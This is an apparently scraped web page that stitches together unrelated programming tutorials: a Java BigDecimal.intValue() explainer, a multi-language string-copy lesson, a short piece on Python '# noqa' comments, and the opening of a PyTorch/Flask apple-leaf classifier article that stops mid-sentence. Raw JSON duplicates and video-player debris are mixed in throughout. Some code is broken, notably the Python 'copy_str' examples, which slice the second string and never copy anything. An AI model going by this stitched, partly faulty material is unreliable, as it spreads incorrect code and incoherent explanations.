https://docs.oracle.com/javase/7/docs/api/java/math/BigDecimal.html#intValue() Java-BigDecimal Java-Functions java-math Java-math-package Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n04 Dec, 2018" }, { "code": null, "e": 336, "s": 28, "text": "The java.math.BigDecimal.intValue() is an in-built function which converts this BigDecimal to an integer value. This function discards any fractional part of this BigDecimal. If the result of the conversion is too big to be represented as an integer value, the function returns only the lower-order 32 bits." }, { "code": null, "e": 344, "s": 336, "text": "Syntax:" }, { "code": null, "e": 366, "s": 344, "text": "public int intValue()" }, { "code": null, "e": 415, "s": 366, "text": "Parameters: This function accepts no parameters." }, { "code": null, "e": 489, "s": 415, "text": "Return Value: This function returns the integer value of this BigDecimal." }, { "code": null, "e": 499, "s": 489, "text": "Examples:" }, { "code": null, "e": 573, "s": 499, "text": "Input : 19878124.176\nOutput : 19878124\n\nInput : \"721111\"\nOutput : 721111\n" }, { "code": null, "e": 643, "s": 573, "text": "Below programs illustrate the java.math.BigDecimal.intValue() method:" }, { "code": null, "e": 654, "s": 643, "text": "Program 1:" }, { "code": "// Java program to illustrate// intValue() methodimport java.math.*;import java.io.*; class GFG { public static void main(String[] args) { // Creating 2 BigDecimal Objects BigDecimal b1, b2; // Assigning values to b1, b2 b1 = new BigDecimal(\"19878124.176\"); b2 = new BigDecimal(\"721111\"); // Displaying their respective Integer Values System.out.println(\"The Integer Value of \" + b1 + \" is \" + b1.intValue()); System.out.println(\"The Integer Value of \" + b2 + \" is \" + b2.intValue()); }}", "e": 1303, "s": 654, "text": null }, { "code": null, "e": 1311, "s": 1303, "text": "Output:" }, { "code": null, "e": 1396, "s": 1311, "text": "The Integer Value of 19878124.176 is 19878124\nThe Integer Value of 721111 is 721111\n" }, { "code": null, "e": 1625, "s": 1396, "text": "Note: Information regarding the overall magnitude and precision of large this BigDecimal values might be lost during the course of conversion by this function. As a consequence, a result with the opposite sign might be returned." }, { "code": null, "e": 1731, "s": 1625, "text": "Program 2: This program illustrates a scenario when the function returns a result with the opposite sign." }, { "code": "// Java program to illustrate// intValue() methodimport java.math.*;import java.io.*; class GFG { public static void main(String[] args) { // Creating 2 BigDecimal Objects BigDecimal b1, b2; // Assigning values to b1, b2 b1 = new BigDecimal(\"1987812417600\"); b2 = new BigDecimal(\"3567128439701\"); // Displaying their respective Integer Values System.out.println(\"The Integer Value of \" + b1 + \" is \" + b1.intValue()); System.out.println(\"The Integer Value of \" + b2 + \" is \" + b2.intValue()); }}", "e": 2293, "s": 1731, "text": null }, { "code": null, "e": 2301, "s": 2293, "text": "Output:" }, { "code": null, "e": 2401, "s": 2301, "text": "The Integer Value of 1987812417600 is -757440448\nThe Integer Value of 3567128439701 is -1989383275\n" }, { "code": null, "e": 2491, "s": 2401, "text": "Reference: https://docs.oracle.com/javase/7/docs/api/java/math/BigDecimal.html#intValue()" }, { "code": null, "e": 2507, "s": 2491, "text": "Java-BigDecimal" }, { "code": null, "e": 2522, "s": 2507, "text": "Java-Functions" }, { "code": null, "e": 2532, "s": 2522, "text": "java-math" }, { "code": null, "e": 2550, "s": 2532, "text": "Java-math-package" }, { "code": null, "e": 2555, "s": 2550, "text": "Java" }, { "code": null, "e": 2560, "s": 2555, "text": "Java" } ]
Function to copy string (Iterative and Recursive)
20 Jun, 2022 Given two strings, copy one string to other using recursion. We basically need to write our own recursive version of strcpy in C/C++ Examples: Input : s1 = "hello" s2 = "geeksforgeeks" Output : s2 = "hello" Input : s1 = "geeksforgeeks" s2 = "" Output : s2 = "geeksforgeeks" Iterative : Copy every character from s1 to s2 starting from index = 0 and in each call increase the index by 1 until s1 doesn’t reach to end; C++ Java Python3 C# Javascript // Iterative CPP Program to copy one String // to another.#include <bits/stdc++.h>using namespace std; // Function to copy one string to other// assuming that other string has enough// space.void myCopy(char s1[], char s2[]){ int i = 0; for (i=0; s1[i] != '\0'; i++) s2[i] = s1[i]; s2[i] = '\0';} // Driver functionint main(){ char s1[100] = "GEEKSFORGEEKS"; char s2[100] = ""; myCopy(s1, s2); cout << s2; return 0;} // Iterative Java Program to copy one String// to another.class GFG{ // Function to copy one string to other// assuming that other string has enough// space.static void myCopy(char s1[], char s2[]){ int i = 0; for (i = 0; i < s1.length; i++) s2[i] = s1[i];} // Driver codepublic static void main(String[] args){ char s1[] = "GEEKSFORGEEKS".toCharArray(); char s2[] = new char[s1.length]; myCopy(s1, s2); System.out.println(String.valueOf(s2));}} // This code contributed by Rajput-Ji # recursive Python Program to copy one String# to another. # Function to copy one string to otherdef copy_str(x,y): if len(y)==0: return x else: c = copy_str(x,(y)[1:-1]) return cx = input()y = input()print(copy_str(x,y)) # This code contributed by [email protected]#deeksha20049 // Iterative C# Program to copy one String// to another.using System; class GFG{ // Function to copy one string to other// assuming that other string has enough// space.static void myCopy(char []s1, char []s2){ int i = 0; for (i = 0; i < s1.Length; i++) s2[i] = s1[i];} // Driver codepublic static void Main(String[] args){ char []s1 = "GEEKSFORGEEKS".ToCharArray(); char []s2 = new char[s1.Length]; myCopy(s1, s2); Console.WriteLine(String.Join("", s2));}} // This code is contributed by 29AjayKumar <script> // Iterative Javascript Program to copy one String// to another. // Function to copy one string to other// assuming that other string has enough// space.function myCopy(s1, s2){ let i = 0; for (i = 0; i < s1.length; i++) s2[i] = s1[i];} // Driver code // Driver Codelet s1 = "GEEKSFORGEEKS";let s2 = [];let index = 0; myCopy(s1, s2, index); document.write(s2.join("")); // This code contributed by shivanisinghss2110 </script> GEEKSFORGEEKS Time Complexity: O(m) Here m is the length of string s1. Auxiliary Space: O(1) As constant extra space is used. Recursive : Copy every character from s1 to s2 starting from index = 0 and in each call increase the index by 1 until s1 doesn’t reach to end; C++ Java Python3 C# Javascript // CPP Program to copy one String to// another using Recursion#include <bits/stdc++.h>using namespace std; // Function to copy one string in to other// using recursionvoid myCopy(char s1[], char s2[], int index = 0){ // copying each character from s1 to s2 s2[index] = s1[index]; // if string reach to end then stop if (s1[index] == '\0') return; // increase character index by one myCopy(s1, s2, index + 1);} // Driver functionint main(){ char s1[100] = "GEEKSFORGEEKS"; char s2[100] = ""; myCopy(s1, s2); cout << s2; return 0;} // Java Program to copy one String to// another using Recursionclass GFG{ // Function to copy one string in to other // using recursion static void myCopy(char s1[], char s2[], int index) { // copying each character from s1 to s2 s2[index] = s1[index]; // if string reach to end then stop if (index == s1.length - 1) { return; } // increase character index by one myCopy(s1, s2, index + 1); } // Driver Code public static void main(String[] args) { char s1[] = "GEEKSFORGEEKS".toCharArray(); char s2[] = new char[s1.length]; int index = 0; myCopy(s1, s2, index); System.out.println(String.valueOf(s2)); }} // This code is contributed by PrinciRaj1992 # recursive Python Program to copy one String# to another. # Function to copy one string to other def copy_str(x, y): if len(y) == 0: return x else: c = copy_str(x, (y)[1:-1]) return c x = input("hello")y = input("no")print(copy_str(x, y)) # This code contributed by [email protected] // C# Program to copy one String to// another using Recursionusing System; class GFG{ // Function to copy one string in to other // using recursion static void myCopy(char []s1, char []s2, int index) { // copying each character from s1 to s2 s2[index] = s1[index]; // if string reach to end then stop if (index == s1.Length - 1) { return; } // increase character index by one myCopy(s1, s2, index + 1); } // Driver Code public static void Main(String[] args) { char []s1 = "GEEKSFORGEEKS".ToCharArray(); char []s2 = new char[s1.Length]; int index = 0; myCopy(s1, s2, index); Console.WriteLine(String.Join("", s2)); }} // This code is contributed by Princi Singh <script> // Javascript program to copy one String to// another using Recursion // Function to copy one string in to other// using recursionfunction myCopy(s1, s2, index){ // Copying each character from s1 to s2 s2[index] = s1[index]; // If string reach to end then stop if (index == s1.length - 1) { return; } // Increase character index by one myCopy(s1, s2, index + 1);} // Driver Codevar s1 = "GEEKSFORGEEKS";var s2 = [];var index = 0; myCopy(s1, s2, index); document.write(s2.join("")); // This code is contributed by gauravrajput1 </script> GEEKSFORGEEKS Time Complexity: O(m) Here m is the length of string s1. Auxiliary Space: O(1) As it is a tail recursive function constant extra space is used. Function to copy string - strcpy implementation | GeeksforGeeks - YouTubeGeeksforGeeks529K subscribersFunction to copy string - strcpy implementation | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 2:08•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=6ICIyQTAxWM" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div> Rajput-Ji 29AjayKumar princiraj1992 princi singh codingnoob2002 GauravRajput1 shivanisinghss2110 tausifsiddiqui abhijeet19403 Recursion Strings Strings Recursion Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Sum of the series (1*2) + (2*3) + (3*4) + ...... upto n terms Generate all the binary strings of N bits Traverse a given Matrix using Recursion Generating subarrays using recursion Practice Questions for Recursion | Set 1 Write a program to reverse an array or string Reverse a string in Java C++ Data Types Different Methods to Reverse a String in C++ Python program to check if a string is palindrome or not
[ { "code": null, "e": 53, "s": 25, "text": "\n20 Jun, 2022" }, { "code": null, "e": 186, "s": 53, "text": "Given two strings, copy one string to other using recursion. We basically need to write our own recursive version of strcpy in C/C++" }, { "code": null, "e": 197, "s": 186, "text": "Examples: " }, { "code": null, "e": 347, "s": 197, "text": "Input : s1 = \"hello\"\n s2 = \"geeksforgeeks\"\nOutput : s2 = \"hello\"\n\nInput : s1 = \"geeksforgeeks\"\n s2 = \"\"\nOutput : s2 = \"geeksforgeeks\"" }, { "code": null, "e": 491, "s": 347, "text": "Iterative : Copy every character from s1 to s2 starting from index = 0 and in each call increase the index by 1 until s1 doesn’t reach to end; " }, { "code": null, "e": 495, "s": 491, "text": "C++" }, { "code": null, "e": 500, "s": 495, "text": "Java" }, { "code": null, "e": 508, "s": 500, "text": "Python3" }, { "code": null, "e": 511, "s": 508, "text": "C#" }, { "code": null, "e": 522, "s": 511, "text": "Javascript" }, { "code": "// Iterative CPP Program to copy one String // to another.#include <bits/stdc++.h>using namespace std; // Function to copy one string to other// assuming that other string has enough// space.void myCopy(char s1[], char s2[]){ int i = 0; for (i=0; s1[i] != '\\0'; i++) s2[i] = s1[i]; s2[i] = '\\0';} // Driver functionint main(){ char s1[100] = \"GEEKSFORGEEKS\"; char s2[100] = \"\"; myCopy(s1, s2); cout << s2; return 0;}", "e": 969, "s": 522, "text": null }, { "code": "// Iterative Java Program to copy one String// to another.class GFG{ // Function to copy one string to other// assuming that other string has enough// space.static void myCopy(char s1[], char s2[]){ int i = 0; for (i = 0; i < s1.length; i++) s2[i] = s1[i];} // Driver codepublic static void main(String[] args){ char s1[] = \"GEEKSFORGEEKS\".toCharArray(); char s2[] = new char[s1.length]; myCopy(s1, s2); System.out.println(String.valueOf(s2));}} // This code contributed by Rajput-Ji", "e": 1483, "s": 969, "text": null }, { "code": "# recursive Python Program to copy one String# to another. # Function to copy one string to otherdef copy_str(x,y): if len(y)==0: return x else: c = copy_str(x,(y)[1:-1]) return cx = input()y = input()print(copy_str(x,y)) # This code contributed by [email protected]#deeksha20049", "e": 1796, "s": 1483, "text": null }, { "code": "// Iterative C# Program to copy one String// to another.using System; class GFG{ // Function to copy one string to other// assuming that other string has enough// space.static void myCopy(char []s1, char []s2){ int i = 0; for (i = 0; i < s1.Length; i++) s2[i] = s1[i];} // Driver codepublic static void Main(String[] args){ char []s1 = \"GEEKSFORGEEKS\".ToCharArray(); char []s2 = new char[s1.Length]; myCopy(s1, s2); Console.WriteLine(String.Join(\"\", s2));}} // This code is contributed by 29AjayKumar", "e": 2326, "s": 1796, "text": null }, { "code": "<script> // Iterative Javascript Program to copy one String// to another. // Function to copy one string to other// assuming that other string has enough// space.function myCopy(s1, s2){ let i = 0; for (i = 0; i < s1.length; i++) s2[i] = s1[i];} // Driver code // Driver Codelet s1 = \"GEEKSFORGEEKS\";let s2 = [];let index = 0; myCopy(s1, s2, index); document.write(s2.join(\"\")); // This code contributed by shivanisinghss2110 </script>", "e": 2782, "s": 2326, "text": null }, { "code": null, "e": 2796, "s": 2782, "text": "GEEKSFORGEEKS" }, { "code": null, "e": 2820, "s": 2798, "text": "Time Complexity: O(m)" }, { "code": null, "e": 2855, "s": 2820, "text": "Here m is the length of string s1." }, { "code": null, "e": 2877, "s": 2855, "text": "Auxiliary Space: O(1)" }, { "code": null, "e": 2910, "s": 2877, "text": "As constant extra space is used." }, { "code": null, "e": 3054, "s": 2910, "text": "Recursive : Copy every character from s1 to s2 starting from index = 0 and in each call increase the index by 1 until s1 doesn’t reach to end; " }, { "code": null, "e": 3058, "s": 3054, "text": "C++" }, { "code": null, "e": 3063, "s": 3058, "text": "Java" }, { "code": null, "e": 3071, "s": 3063, "text": "Python3" }, { "code": null, "e": 3074, "s": 3071, "text": "C#" }, { "code": null, "e": 3085, "s": 3074, "text": "Javascript" }, { "code": "// CPP Program to copy one String to// another using Recursion#include <bits/stdc++.h>using namespace std; // Function to copy one string in to other// using recursionvoid myCopy(char s1[], char s2[], int index = 0){ // copying each character from s1 to s2 s2[index] = s1[index]; // if string reach to end then stop if (s1[index] == '\\0') return; // increase character index by one myCopy(s1, s2, index + 1);} // Driver functionint main(){ char s1[100] = \"GEEKSFORGEEKS\"; char s2[100] = \"\"; myCopy(s1, s2); cout << s2; return 0;}", "e": 3658, "s": 3085, "text": null }, { "code": "// Java Program to copy one String to// another using Recursionclass GFG{ // Function to copy one string in to other // using recursion static void myCopy(char s1[], char s2[], int index) { // copying each character from s1 to s2 s2[index] = s1[index]; // if string reach to end then stop if (index == s1.length - 1) { return; } // increase character index by one myCopy(s1, s2, index + 1); } // Driver Code public static void main(String[] args) { char s1[] = \"GEEKSFORGEEKS\".toCharArray(); char s2[] = new char[s1.length]; int index = 0; myCopy(s1, s2, index); System.out.println(String.valueOf(s2)); }} // This code is contributed by PrinciRaj1992", "e": 4468, "s": 3658, "text": null }, { "code": "# recursive Python Program to copy one String# to another. # Function to copy one string to other def copy_str(x, y): if len(y) == 0: return x else: c = copy_str(x, (y)[1:-1]) return c x = input(\"hello\")y = input(\"no\")print(copy_str(x, y)) # This code contributed by [email protected]", "e": 4788, "s": 4468, "text": null }, { "code": "// C# Program to copy one String to// another using Recursionusing System; class GFG{ // Function to copy one string in to other // using recursion static void myCopy(char []s1, char []s2, int index) { // copying each character from s1 to s2 s2[index] = s1[index]; // if string reach to end then stop if (index == s1.Length - 1) { return; } // increase character index by one myCopy(s1, s2, index + 1); } // Driver Code public static void Main(String[] args) { char []s1 = \"GEEKSFORGEEKS\".ToCharArray(); char []s2 = new char[s1.Length]; int index = 0; myCopy(s1, s2, index); Console.WriteLine(String.Join(\"\", s2)); }} // This code is contributed by Princi Singh", "e": 5609, "s": 4788, "text": null }, { "code": "<script> // Javascript program to copy one String to// another using Recursion // Function to copy one string in to other// using recursionfunction myCopy(s1, s2, index){ // Copying each character from s1 to s2 s2[index] = s1[index]; // If string reach to end then stop if (index == s1.length - 1) { return; } // Increase character index by one myCopy(s1, s2, index + 1);} // Driver Codevar s1 = \"GEEKSFORGEEKS\";var s2 = [];var index = 0; myCopy(s1, s2, index); document.write(s2.join(\"\")); // This code is contributed by gauravrajput1 </script>", "e": 6201, "s": 5609, "text": null }, { "code": null, "e": 6215, "s": 6201, "text": "GEEKSFORGEEKS" }, { "code": null, "e": 6239, "s": 6217, "text": "Time Complexity: O(m)" }, { "code": null, "e": 6274, "s": 6239, "text": "Here m is the length of string s1." }, { "code": null, "e": 6296, "s": 6274, "text": "Auxiliary Space: O(1)" }, { "code": null, "e": 6361, "s": 6296, "text": "As it is a tail recursive function constant extra space is used." }, { "code": null, "e": 7273, "s": 6361, "text": "Function to copy string - strcpy implementation | GeeksforGeeks - YouTubeGeeksforGeeks529K subscribersFunction to copy string - strcpy implementation | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 2:08•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=6ICIyQTAxWM\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>" }, { "code": null, "e": 7283, "s": 7273, "text": "Rajput-Ji" }, { "code": null, "e": 7295, "s": 7283, "text": "29AjayKumar" }, { "code": null, "e": 7309, "s": 7295, "text": "princiraj1992" }, { "code": null, "e": 7322, "s": 7309, "text": "princi singh" }, { "code": null, "e": 7337, "s": 7322, "text": "codingnoob2002" }, { "code": null, "e": 7351, "s": 7337, "text": "GauravRajput1" }, { "code": null, "e": 7370, "s": 7351, "text": "shivanisinghss2110" }, { "code": null, "e": 7385, "s": 7370, "text": "tausifsiddiqui" }, { "code": null, "e": 7399, "s": 7385, "text": "abhijeet19403" }, { "code": null, "e": 7409, "s": 7399, "text": "Recursion" }, { "code": null, "e": 7417, "s": 7409, "text": "Strings" }, { "code": null, "e": 7425, "s": 7417, "text": "Strings" }, { "code": null, "e": 7435, "s": 7425, "text": "Recursion" }, { "code": null, "e": 7533, "s": 7435, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 7595, "s": 7533, "text": "Sum of the series (1*2) + (2*3) + (3*4) + ...... upto n terms" }, { "code": null, "e": 7637, "s": 7595, "text": "Generate all the binary strings of N bits" }, { "code": null, "e": 7677, "s": 7637, "text": "Traverse a given Matrix using Recursion" }, { "code": null, "e": 7714, "s": 7677, "text": "Generating subarrays using recursion" }, { "code": null, "e": 7755, "s": 7714, "text": "Practice Questions for Recursion | Set 1" }, { "code": null, "e": 7801, "s": 7755, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 7826, "s": 7801, "text": "Reverse a string in Java" }, { "code": null, "e": 7841, "s": 7826, "text": "C++ Data Types" }, { "code": null, "e": 7886, "s": 7841, "text": "Different Methods to Reverse a String in C++" } ]
NO Quality Assurance (noqa) in Python
17 Dec, 2020 Well if you are someone who has just started with Python then you would most likely be not aware of this feature. Even if you are an experienced programmer then you might not be aware of this nifty little feature. This is going to be a short and simple but very useful article. So, what exactly is noqa. NOQA stands for NO Quality Assurance. What this typically means is that if you have any warning in your IDE, then if you add a comment as # noqa at the end of the line then the warning will be ignored by the IDE. This thing might seem very trivial but it can be extremely useful in a production environment where there are certain configurations set at the project level, which prevents a developer from pushing code to VCS which has warnings. Obviously, Sometimes the IDE fails to understand certain coding styles, like if you do an import in the __init__.py of a package and you never use it in the same file. The only reason why you imported that was so that it is accessible by any other developer who will be consuming your package. First, We will be creating a python package called demo_noqa. The directory should contain two files, __init__.py, and check.py. Your directory structure should look something like this. Directory structure Now, go to check.py and simply create a function called printf(). You can use the below code sample. Python3 def printf(): print("*\n**\n") Now, go to __init__.py and simply import printf it from check.py. You can look into the below code sample Python3 from .check import printf Now, just save the file. You will see that you will get a warning saying printf imported but never used. Here, below is the example Warning example Notice the while line below printf. This is a warning. Now, if you simply add # noqa at the end of the line, the warning will be suppressed. Here, below is an example of the same. Suppressed warning Notice that the bulb icon is gone and the white line too. This is how noqa is used. You might find it very trivial if you are a beginner but trust me, once you get into the real world jobs and you will start to work on the production level codes, you will end up using noqa quite frequently. Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Python Classes and Objects Python OOPs Concepts Introduction To PYTHON How to drop one or multiple columns in Pandas Dataframe Python | os.path.join() method Check if element exists in list in Python How To Convert Python Dictionary To JSON? Python | Get unique values from a list Python | datetime.timedelta() function
[ { "code": null, "e": 28, "s": 0, "text": "\n17 Dec, 2020" }, { "code": null, "e": 371, "s": 28, "text": "Well if you are someone who has just started with Python then you would most likely be not aware of this feature. Even if you are an experienced programmer then you might not be aware of this nifty little feature. This is going to be a short and simple but very useful article. So, what exactly is noqa. NOQA stands for NO Quality Assurance. " }, { "code": null, "e": 777, "s": 371, "text": "What this typically means is that if you have any warning in your IDE, then if you add a comment as # noqa at the end of the line then the warning will be ignored by the IDE. This thing might seem very trivial but it can be extremely useful in a production environment where there are certain configurations set at the project level, which prevents a developer from pushing code to VCS which has warnings." }, { "code": null, "e": 1071, "s": 777, "text": "Obviously, Sometimes the IDE fails to understand certain coding styles, like if you do an import in the __init__.py of a package and you never use it in the same file. The only reason why you imported that was so that it is accessible by any other developer who will be consuming your package." }, { "code": null, "e": 1258, "s": 1071, "text": "First, We will be creating a python package called demo_noqa. The directory should contain two files, __init__.py, and check.py. Your directory structure should look something like this." }, { "code": null, "e": 1278, "s": 1258, "text": "Directory structure" }, { "code": null, "e": 1379, "s": 1278, "text": "Now, go to check.py and simply create a function called printf(). You can use the below code sample." }, { "code": null, "e": 1387, "s": 1379, "text": "Python3" }, { "code": "def printf(): print(\"*\\n**\\n\")", "e": 1421, "s": 1387, "text": null }, { "code": null, "e": 1527, "s": 1421, "text": "Now, go to __init__.py and simply import printf it from check.py. You can look into the below code sample" }, { "code": null, "e": 1535, "s": 1527, "text": "Python3" }, { "code": "from .check import printf", "e": 1561, "s": 1535, "text": null }, { "code": null, "e": 1693, "s": 1561, "text": "Now, just save the file. You will see that you will get a warning saying printf imported but never used. Here, below is the example" }, { "code": null, "e": 1709, "s": 1693, "text": "Warning example" }, { "code": null, "e": 1889, "s": 1709, "text": "Notice the while line below printf. This is a warning. Now, if you simply add # noqa at the end of the line, the warning will be suppressed. Here, below is an example of the same." }, { "code": null, "e": 1908, "s": 1889, "text": "Suppressed warning" }, { "code": null, "e": 2200, "s": 1908, "text": "Notice that the bulb icon is gone and the white line too. This is how noqa is used. You might find it very trivial if you are a beginner but trust me, once you get into the real world jobs and you will start to work on the production level codes, you will end up using noqa quite frequently." }, { "code": null, "e": 2207, "s": 2200, "text": "Python" }, { "code": null, "e": 2305, "s": 2207, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2337, "s": 2305, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2364, "s": 2337, "text": "Python Classes and Objects" }, { "code": null, "e": 2385, "s": 2364, "text": "Python OOPs Concepts" }, { "code": null, "e": 2408, "s": 2385, "text": "Introduction To PYTHON" }, { "code": null, "e": 2464, "s": 2408, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 2495, "s": 2464, "text": "Python | os.path.join() method" }, { "code": null, "e": 2537, "s": 2495, "text": "Check if element exists in list in Python" }, { "code": null, "e": 2579, "s": 2537, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 2618, "s": 2579, "text": "Python | Get unique values from a list" } ]
How to run a method every 10 seconds in Android?
This example demonstrates how do I run a method every 10 seconds in android. Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project. Step 2 − Add the following code to res/layout/activity_main.xml. <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center" android:orientation="vertical" tools:context=".MainActivity"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Hello World!" /> </LinearLayout> Step 3 −Add the following code to src/MainActivity.java import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.os.Handler; import android.widget.Toast; public class MainActivity extends AppCompatActivity { Handler handler = new Handler(); Runnable runnable; int delay = 10000; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } @Override protected void onResume() { handler.postDelayed(runnable = new Runnable() { public void run() { handler.postDelayed(runnable, delay); Toast.makeText(MainActivity.this, "This method is run every 10 seconds", Toast.LENGTH_SHORT).show(); } }, delay); super.onResume(); } @Override protected void onPause() { handler.removeCallbacks(runnable); //stop handler when activity not visible super.onPause(); } } Step 4 − Add the following code to androidManifest.xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="app.com.sample"> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from the android studio, open one of your project's activity files and click the Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen −
[ { "code": null, "e": 1139, "s": 1062, "text": "This example demonstrates how do I run a method every 10 seconds in android." }, { "code": null, "e": 1268, "s": 1139, "text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project." }, { "code": null, "e": 1333, "s": 1268, "text": "Step 2 − Add the following code to res/layout/activity_main.xml." }, { "code": null, "e": 1809, "s": 1333, "text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:tools=\"http://schemas.android.com/tools\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n android:gravity=\"center\"\n android:orientation=\"vertical\"\n tools:context=\".MainActivity\">\n<TextView\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Hello World!\" />\n</LinearLayout>" }, { "code": null, "e": 1865, "s": 1809, "text": "Step 3 −Add the following code to src/MainActivity.java" }, { "code": null, "e": 2800, "s": 1865, "text": "import androidx.appcompat.app.AppCompatActivity;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.widget.Toast;\npublic class MainActivity extends AppCompatActivity {\n Handler handler = new Handler();\n Runnable runnable;\n int delay = 10000;\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_main);\n }\n @Override\n protected void onResume() {\n handler.postDelayed(runnable = new Runnable() {\n public void run() {\n handler.postDelayed(runnable, delay);\n Toast.makeText(MainActivity.this, \"This method is run every 10 seconds\",\n Toast.LENGTH_SHORT).show();\n }\n }, delay);\n super.onResume();\n }\n @Override\n protected void onPause() {\n handler.removeCallbacks(runnable); //stop handler when activity not visible super.onPause();\n }\n}" }, { "code": null, "e": 2855, "s": 2800, "text": "Step 4 − Add the following code to androidManifest.xml" }, { "code": null, "e": 3529, "s": 2855, "text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"app.com.sample\">\n <application\n android:allowBackup=\"true\"\n android:icon=\"@mipmap/ic_launcher\"\n android:label=\"@string/app_name\"\n android:roundIcon=\"@mipmap/ic_launcher_round\"\n android:supportsRtl=\"true\"\n android:theme=\"@style/AppTheme\">\n <activity android:name=\".MainActivity\">\n <intent-filter>\n <action android:name=\"android.intent.action.MAIN\" />\n <category android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n </application>\n</manifest>\n" }, { "code": null, "e": 3884, "s": 3529, "text": "Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from the android studio, open one of your project's activity files and click the Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen −" } ]
Machine Learning Web App with Python | Towards Data Science
Deep Learning is a great model for handling unstructured data, especially on images. The progress of this field is really fast, and one of the progress is something called Transfer Learning. Transfer Learning is a method to train the neural network that has already trained on a different dataset, so we don’t have to train it from scratch because it could take several days or weeks to train them. If we use the transfer learning to our dataset, it only takes several hours to train because we only train the final layer. Therefore, we can use it to train on the other dataset with already pre-trained model and its given architecture. To make the model is useful to use, we have to deploy them, in example by building a web app that makes it more user friendly. Thankfully, we can do that using PyTorch to build a deep learning model and Flask to build a web application. In this article, I will show you on how to build a web application for image classification on an Apple leaf to classify whether is it healthy or not and if it doesn’t, which disease the leaf has. To build that, we can use transfer learning using PyTorch, and also how to build a simple web application using Flask. Here is the preview of the web application, The first task that we have to do is to build an image classifier. It consists of several steps to do, they are, Download the data, Preparing the data, Build the model, Test the model, Save the model. For the dataset, we can use the PlantVillage datasets to retrieve our dataset to use. You can download the dataset from this GitHub repository here. Right after we download the data, we can prepare the dataset first. First, we have to structure our dataset into separate folders. If we see the dataset that we have downloaded, we can see that there are so many images from different plants. In this case, we only pick the plant that relates to Apple. So, we take the folder that consists of Apple leaf images to it. Then, we divide each folder into 3 different folders, they are train, val, and test. Then, we divide each group by 80% for train data (divide them for train and validation with 90:10 proportion) and 20% for test data. The amount of each folder will look like this, Finally, the folder will have a structure will look like this, After we have a folder structure like above, we can build the model for image classification. Before we can build that, we have to import the dataset, and also we have to transform the data, so it has the same representation that gets into the model. The code will look like this, As we can see above, there are several steps on how to prepare the dataset. First, we have to transform the dataset. It is a must because the model cannot process the data that don’t have the required size. Therefore, we have to resize it and also crop the dataset with the same dimension with the first layer of the model. Then, after we transform the image, we can load it to our code using ImageFolder method to do it. Also, we apply the transform to the dataset to it. We can train the model by using all of the training dataset, but it will take a lot of time. Therefore, we have to create batches to reduce the computation time. To make sure that the batches are random, we have to set the shuffle parameter to true. Finally, we retrieve the number of the images and the class names, and also we can enable the GPU using the torch.device function. After we do all the steps, we can move into the modelling section. Because we build the model based on the pre-trained model, the first thing we have to do is to download the model. In this case, I only use VGG-16, ResNet-18, and 